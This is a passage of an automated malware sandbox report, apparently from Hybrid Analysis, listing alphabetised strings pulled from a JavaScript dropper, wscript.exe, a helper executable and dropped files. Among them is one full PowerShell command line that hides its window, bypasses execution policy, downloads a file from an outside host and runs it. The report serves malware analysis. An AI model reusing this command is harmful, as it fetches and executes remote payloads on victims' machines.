Ansi based on Dropped File (gmpopenh264.dll.97104820)

No such file or directory

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No such process

Ansi based on Dropped File (gmpopenh264.dll.97104820)

NoCheckAutodialOverRide

Unicode based on Runtime Data (eXe )

NoFileFolderJunction

Unicode based on Runtime Data (wscript.exe )

nologo

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

non existing SPS referenced

Ansi based on Dropped File (gmpopenh264.dll.97104820)

NoNetAutodial

Unicode based on Runtime Data (eXe )

NoNetCrawling

Unicode based on Runtime Data (wscript.exe )

norwegian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

norwegian-bokmal

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Norwegian-Nynorsk

Ansi based on Dropped File (gmpopenh264.dll.97104820)

norwegian-nynorsk

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Not a directory

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Not enough space

Ansi based on Dropped File (gmpopenh264.dll.97104820)

nough space for lowio initialization

Unicode based on Dropped File (gmpopenh264.dll.97104820)

noUiSlider.create(slider_age, {

Ansi based on Dropped File (home-&-garden)

noUiSlider.create(slider_length, {

Ansi based on Dropped File (home-&-garden)

noUiSlider.create(slider_price, {

Ansi based on Dropped File (home-&-garden)

November

Ansi based on Dropped File (gmpopenh264.dll.97104820)

NoWorkingDirectory

Unicode based on Runtime Data (wscript.exe )

nsa2FE8.tmp

Unicode based on Runtime Data (eXe )

NSIS Error

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

nsrDEA2.tmp

Unicode based on Runtime Data (helper.exe )

ntime Error!Program:

Unicode based on Dropped File (gmpopenh264.dll.97104820)

ntupebru = '39724' + ntupebru;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ntupebru = fhygpylxu + dfewtolkybnu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Num_Catalog_Entries

Unicode based on Runtime Data (eXe )

o initialization

Unicode based on Dropped File (gmpopenh264.dll.97104820)

oc-FR

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

October

Unicode based on Dropped File (gmpopenh264.dll.97104820)

odtuzhyspag = 15.4;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

oductName

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

ohlycgy = 405 + "38137";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

OInitializing Bit Rate at: Start:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ojimuzwo = 499;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ole device

Unicode based on Dropped File (gmpopenh264.dll.97104820)

ole32.dll

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

OLEAUT32.dll

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

OleInitialize

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

OleUninitialize

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ommunity - thamizha.com

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

one for the category navigation and one for

Ansi based on Dropped File (nav.css)

OOBEInProgress

Unicode based on Runtime Data (wscript.exe )

Open2

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

OpenClipboard

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

OpenH264Enc_CodingSliceThreadProc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

OpenH264VideoDecoder::Decode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

OpenH264VideoEncoder::Encode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

OpenProcess

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

OpenProcessToken

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Operation not permitted

Ansi based on Dropped File (gmpopenh264.dll.97104820)

operator

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Options

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

opuwe = 49 + opuwe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

oq_7__

Ansi based on Image Processing (screen_2.png)

oqikepki = 0.02;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

or9/w

Ansi based on Image Processing (screen_4.png)

orporation

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

ot enough space for environment

Unicode based on Dropped File (gmpopenh264.dll.97104820)

out_BuildWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

out_Name

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

out_Path

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

out_ppts

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

out_ScriptFullNameWWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

out_TimeoutW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

OutputDebugStringA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ovmefbirb = ovmefbirb + 15;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ovmefbirb = styrocyzvy + occofi;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

o{ExitCode

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

PackedCatalogItem

Unicode based on Runtime Data (eXe )

padding-bottom:15px;

Ansi based on Dropped File (nav.css)

padding-left:100px;

Ansi based on Dropped File (nav.css)

padding-top:8px;

Ansi based on Dropped File (nav.css)

padding-top:9px;

Ansi based on Dropped File (nav.css)

padding:0 10px;

Ansi based on Dropped File (nav.css)

padding:10px;

Ansi based on Dropped File (nav.css)

padding:6px 12px;

Ansi based on Dropped File (nav.css)

padding:6px 8px;

Ansi based on Dropped File (nav.css)

PageAllocatorSystemHeapIsPrivate

Unicode based on Runtime Data (wscript.exe )

PageAllocatorUseSystemHeap

Unicode based on Runtime Data (wscript.exe )

ParamValidation(), AdaptiveQuant(%d) is not supported yet for screen content, auto turned off

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(), screen change detection should be turned on,change bEnableSceneChangeDetect as true

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(),Invalid iRCMode = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(),Invalid the number of Spatial layer(%d)for screen content

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(),Invalid usage type = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation,Invalid resolution layer(%d) resolution(%d x %d) shoudl be less than the highest spatial layer resolution(%d x %d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), iLoopFilterDisableIdc(%d) must be between 0 and 6

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), in layer #%d iWidth x iHeight(%d x %d) both should be multiple of 16, can not support with arbitrary size currently!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid iSliceSize (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiMaxNalSize (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceMbNum (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceMode (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceMode (%d) settings!,MaxNalSize = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceNum (%d) in SM_RASTER_SLICE settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceNum (%d) settings more than MAX!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceNum (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), monitor invalid pCodingParam->iSpatialLayerNum: %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), monitor invalid pCodingParam->iTemporalLayerNum: %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), monitor invalid pCodingParam->uiGopSize: %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), pSlice setting for SM_RASTER_SLICE now turn to SM_SINGLE_SLICE!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), setting lossy link for LTR under screen, which is not supported yet! Auto disabled LTR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), slice mode = SM_DYN_SLICE, uiSliceSizeConstraint = %d ,uiMaxNalsize = %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), uiIntraPeriod(%d) should be multiple of uiGopSize(%d) or -1 specified!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), uiIntraPeriod(%d) should be not less than that of uiGopSize(%d) or -1 specified!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), uiSliceNum(%d) you set for SM_FIXEDSLCNUM_SLICE, now turn to SM_SINGLE_SLICE type!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), unsupported setting with Resolution and uiSliceNum (%d) combination under RC on! Consider setting single slice with this resolution!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), unsupported setting with Resolution and uiSliceNum combination under RC on! So uiSliceNum is changed to %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), WARNING: GOM based RC do not support SM_RASTER_SLICE!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(),Invalid usage type = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(),width(1-%d),height(1-%d)invalid %d x %d in dependency layer settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParentFolder

Unicode based on Runtime Data (wscript.exe )

pArgsWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

parse_nal(), no exist Picture Parameter Sets ahead of sequence when try to decode NAL(type:%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

parse_nal(), no exist Sequence Parameter Sets ahead of sequence when try to decode NAL(type:%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader() in Prefix Nal Unit:uiQualityId (%d) != 0, bUseRefBasePicFlag (%d) != 0, not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader(), no exist Parameter Sets ahead of sequence when try to decode slice(type:%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader():bUseRefBasePicFlag (%d) != 0, MGS not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader():uiQualityId (%d) != 0, MGS not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParsePps(): slice_group_map_type (%d): support only 0,1.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParsePps(): weighted_pred_flag (%d) weighted_bipred_idc (%d) neither supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(), invaild frame number: %d due to IDR frame introduced!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(): B slice not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(): bUseRefBasePicFlag or bStoreRefBasePicFlag = 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(): frame_mbs_only_flag = %d not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): bit_depth_chroma (%d). Only 8 bit supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): bit_depth_luma (%d) Only 8 bit supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): chroma_format_idc (%d) = 1 supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): frame_mbs_only_flag (%d) not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): level_idx (%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): seq_scaling_matrix_present_flag (%d). Feature not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParsingName

Unicode based on Runtime Data (wscript.exe )

PAYLOAD

Ansi based on Image Processing (screen_0.png)

pBase

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pBsBuf for parse only usage

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pbstrSourceTextWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

pcCharWWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

pCtx->pCabacDecEngine

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->pMbRefConcealedFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->pParam

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pCbfDc[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pCbp[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pChromaPredMode[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pChromaQp[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pInterPredictionDoneFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pIntra4x4FinalMode[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pIntraPredMode[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pLumaQp[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMbCorrectlyDecodedFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMbRefConcealedFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMbType[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMv[][]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMvd[][]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pNzc[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pNzcRs[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pRefIndex[][]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pResidualPredFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pScaledTCoeff[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pSliceIdc[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pSubMbType[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sRawData->pHead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sRawData.pHead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sSavedData->pHead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sSavedData.pHead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pDqIdcMap

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pDqLayer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PDqLayer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PeekMessageA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

PeekMessageW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

perfect domain name for your business.

Ansi based on Dropped File (home-&-garden)

Permission denied

Ansi based on Dropped File (gmpopenh264.dll.97104820)

personal

Ansi based on Image Processing (screen_4.png)

PerUserCookies

Unicode based on Runtime Data (eXe )

PerUserItem

Unicode based on Runtime Data (eXe )

pFeatureOfBlock

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pFeatureSearchPreparation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pFrameBs

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pic_height_in_mbs(%d) exceeds the maximum allowed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pic_width_in_mbs(%d) exceeds the maximum allowed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PinToNameSpaceTree

Unicode based on Runtime Data (wscript.exe )

pIntra4x4PredModeBlocks

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pIter->pMbAllocMap

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pkimage.aspx1034050474.html

Unicode based on Runtime Data (eXe )

pLastCodedMbIdxOfPartition

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pLastMbIdxOfPartition

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Platform

Unicode based on Runtime Data (eXe )

pLtr->uiLtrMarkState = %d, pLtr.iCurLtrIdx = %d , pLtr->iLtrMarkFbFrameNum = %d ,pCtx->iFrameNum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pBufferInterPredMe

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pCoeffLevel

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pDct

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pMemPredBlk4

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pMemPredMb

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pPrevIntra4x4PredModeFlag

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pRemIntra4x4PredModeFlag

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pSkipMb

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMvdCostTable

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMvUnitBlock4x4

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pNonZeroCountBlocks

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pNumSliceCodedOfPartition

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PolicyScope

Unicode based on Runtime Data (wscript.exe )

portuguese-brazilian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

position: absolute;

Ansi based on Dropped File (nav.css)

position: relative;

Ansi based on Dropped File (nav.css)

position:absolute;

Ansi based on Dropped File (nav.css)

position:relative;

Ansi based on Dropped File (nav.css)

possible

Ansi based on Image Processing (screen_4.png)

PostMessageA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

PostQuitMessage

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

PostThreadMessageA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

pOut->pBsBuffer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pOut->pNalLen

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pOut->sNalList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

poWersheLL.eXe -eXecUtiOnPoLicY Bypass -nOPROFile -wiNdOwstyLe hidden (New-oBJect SYstem.Net.WeBclIent).dOwnlOadfile('http://www.injusticeil.top/user.php?f=2.dat','%APPDATA%\eXe');start-pROceSs %APPDATA%\eXe

Ansi based on Process Commandline (powershell.exe)

ppDqLayerList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pBuffer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pBuffer[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pMbSkipSad

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pRefMbQp

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pScreenBlockFeatureStorage

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->sMvList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->uiRefMbType

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPicBuf

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPicBuf->queue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PPicBuff

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPicOldBuf

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPicOldBuf->queue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PPicture

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PPicture*

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppMbListD

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppMbListD[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPPSArray

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppRefPicListExt

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppRefPicListExt[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PPS id is invalid!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pr china

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pr-china

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PreCreate

Unicode based on Runtime Data (wscript.exe )

pRef is int32_t !iLastRecoverFrameNum = %d, pRef iFrameNum = %d,LTR number = %d,

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PreferExternalManifest

Unicode based on Runtime Data (wscript.exe )

PreferredUILanguages

Unicode based on Runtime Data (wscript.exe )

pRefIndexBlock4x4

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PrefixWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

pRefList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

price_values[handle].value = values[handle];

Ansi based on Dropped File (home-&-garden)

private

Ansi based on Image Processing (screen_4.png)

PrivateKeyLifetimeSeconds

Unicode based on Runtime Data (wscript.exe )

PrivKeyCacheMaxItems

Unicode based on Runtime Data (wscript.exe )

PrivKeyCachePurgeIntervalSeconds

Unicode based on Runtime Data (wscript.exe )

Problematic Input Base Param: iUsageType=%d, Resolution=%dx%d, FR=%f, TLayerNum=%d, DLayerNum=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Process32FirstW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

Process32NextW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

ProductName

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

ProductType

Unicode based on Runtime Data (eXe )

ProductVersion

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

ProfileImagePath

Unicode based on Runtime Data (wscript.exe )

ProgID

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Progid

Unicode based on Runtime Data (helper.exe )

Program Files

Unicode based on Runtime Data (helper.exe )

program,

Ansi based on Image Processing (screen_4.png)

ProgramData

Unicode based on Runtime Data (eXe )

ProgramFilesDir

Unicode based on Runtime Data (helper.exe )

ProviderId

Unicode based on Runtime Data (eXe )

ProviderInfo

Unicode based on Runtime Data (eXe )

ProviderOrder

Unicode based on Runtime Data (eXe )

ProviderPath

Unicode based on Runtime Data (eXe )

ProxyBypass

Unicode based on Runtime Data (wscript.exe )

ProxyEnable

Unicode based on Runtime Data (eXe )

ProxyHttp1.1

Unicode based on Runtime Data (eXe )

ProxyOverride

Unicode based on Runtime Data (eXe )

ProxyServer

Unicode based on Runtime Data (eXe )

ProxySettingsPerUser

Unicode based on Runtime Data (eXe )

pSadCostMb

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PSAPI.DLL

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

pScreenBlockFeatureStorage

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pScreenBlockFeatureStorage->pFeatureValuePointerList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pScreenBlockFeatureStorage->pLocationOfFeature

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pScreenBlockFeatureStorage->pLocationPointer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pScreenBlockFeatureStorage->pTimesOfFeatureValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceB->pBsBuffer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceBs

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceComplexRatio[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceConsumeTime[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceCtxList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceInLayer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceSeg->pCountMbNumInSlice

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceSeg->pFirstMbInSlice

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceSeg->pOverallMbMap

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSpsArray

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSubsetArray

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pt-PT

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

pThreadPEncCtx

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pTmpRow

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PublishExpandedPath

Unicode based on Runtime Data (wscript.exe )

puerto-rico

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->pVaaBackgroundMbFlag

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->pVaaBlockStaticIdc[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sAdaptiveQuantParam.pMotionTextureIndexToDeltaQp

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sAdaptiveQuantParam.pMotionTextureUnit

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pMad8x8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSsd16x16

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSum16x16

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSumOfDiff8x8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSumOfSquare16x16

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.sad8x8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pvydinoko = '84641';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

pWelsSvcRc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pWelsSvcRc->pTemporalOverRc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

qkydilycu = "oxa" + qkydilycu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

qmodqumbo = 5 + "dsowahni";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

QP %d out of range

Ansi based on Dropped File (gmpopenh264.dll.97104820)

qps-ploca

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

qps-plocm

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

QueryForInfoTip

Unicode based on Runtime Data (wscript.exe )

QueryForOverlay

Unicode based on Runtime Data (wscript.exe )

QueryPerformanceCounter

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

QueryPerformanceFrequency

Ansi based on Dropped File (gmpopenh264.dll.97104820)

qut-GT

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

quz-BO

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

quz-PE

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

r-Latn-BA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

r-Latn-CS

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

raB3G

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RaiseException

Ansi based on Dropped File (gmpopenh264.dll.97104820)

range: {

Ansi based on Dropped File (home-&-garden)

rasphone.pbk

Unicode based on Runtime Data (eXe )

ration

